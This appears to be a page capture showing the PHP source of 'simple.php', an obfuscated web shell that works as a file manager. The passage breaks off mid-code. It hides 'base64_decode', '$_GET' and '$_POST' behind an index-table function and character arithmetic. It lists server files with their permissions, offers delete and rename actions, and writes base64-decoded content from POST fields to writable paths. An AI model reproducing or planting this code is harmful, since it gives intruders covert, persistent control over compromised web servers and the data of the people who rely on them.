Edit

[EDIT] FILE: simple.php

<?php
function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;}
$b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]);
$be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]);
$c=$b('Y2hy');
$_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1);
$__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1));
$__ .= chr(ord("S") + 1);

function get_absolute_root() {
    $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
    $script_name = $_SERVER['SCRIPT_NAME'];
    $pos = strpos($script_filename, $script_name);
    if ($pos !== false) {return substr($script_filename, 0, $pos);}
    return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}

$rootPath = realpath(get_absolute_root());

function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}：</strong>" . $value . "</div>";}

function getPermissions($path) {
    $readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>';
    $writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>';
    $executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>';
    return "$readable $writable $executable";}

$AtPath = PathCl($GetPath);
$Dirqx = getPermissions($GetPath);
$pathItems = [['at path', $AtPath], ['run', $Dirqx]];

function renderFileList($GetPath) {
    global $be, $rootPath;
    $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath);
    $files = array_diff(scandir($currentPath) ?: [], ['.', '..']);
    $directories = [];
    $fileItems = [];
    foreach ($files as $file) {
        $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
        if (strpos(realpath($fullPath), $rootPath) !== 0) continue;

$isDir = is_dir($fullPath);
        $permissions = getPermissions($fullPath);
        $fileTime = date("Y-m-d H:i:s", filemtime($fullPath));
        $fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath));
        $actions = '';
        if (!$isDir && is_writable($fullPath)) {
            $actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file));
        }
        $fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>";
        $itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions);
        if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; }
    }
    print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>';
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset(${$__}['f_p'])) {
        $filePath = realpath(${$__}['f_p']);
        if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
            if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
                $content = $b(${$__}['f_c_64']);
                if (file_exists($filePath)) {

CANCEL